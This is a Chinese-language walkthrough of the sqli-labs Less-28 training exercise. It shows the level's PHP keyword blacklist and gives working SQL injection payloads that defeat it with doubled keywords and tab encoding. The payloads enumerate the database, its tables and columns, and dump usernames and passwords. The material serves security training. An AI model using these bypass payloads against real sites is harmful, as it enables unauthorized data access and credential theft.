sqli-labs-Less-28

SQLI-LAPS 实验记录

Less-28

这一关给出的提示信息显示对'UNION'以及'SELECT'字符串进行了过滤,通过查看源码,我们发现,与之前过滤该字符串不同,本关对大小写同时进行了过滤,所以不能应用大小写的方式来应对这一关,但过滤的语句只执行一次,因此,我们可以使用双写方式进行应对。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0')%09union%09union%09selectselect%091,2,3%09and%09('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0')%09union%09union%09selectselect%091,database(),3%09and%09('1')=('1
  • 查找表名:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3%09and%09('1')=('1
  • 查找列名:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3%09and%09('1')=('1

    查找其他数据:

    php 复制代码
    0')%09union%09union%09selectselect%091,(select%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3%09and%09('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
夜天炫安全1 小时前
.git文件泄露常见手法
网络安全
小小码农Come on2 小时前
Qt Creator + MSVC 2022 64bit 配置 Dump 文件生成与分析流程
数据库·qt
qiuyuyiyang2 小时前
【MySQL】环境变量配置
数据库·mysql·adb
神仙别闹3 小时前
基于NodeJS+Vue+MySQL实现一个在线编程笔试平台
前端·vue.js·mysql
jgyzl3 小时前
2026.3.11MyBatis-Plus基本使用与思考
java·数据库·mybatis
RDCJM3 小时前
【MySQL】在MySQL中STR_TO_DATE()以及其他用于日期和时间的转换
android·数据库·mysql
vanvivo3 小时前
redis 使用
数据库·redis·缓存
加成BUFF4 小时前
解决MySQL/MariaDB忘记root密码:完整重置教程(XAMPP/Windows版)
数据库·mysql·xampp
杰克尼4 小时前
苍穹外卖--day10
java·数据库·spring boot·mybatis·notepad++
dreamread4 小时前
完美解决phpstudy安装后mysql无法启动
数据库·mysql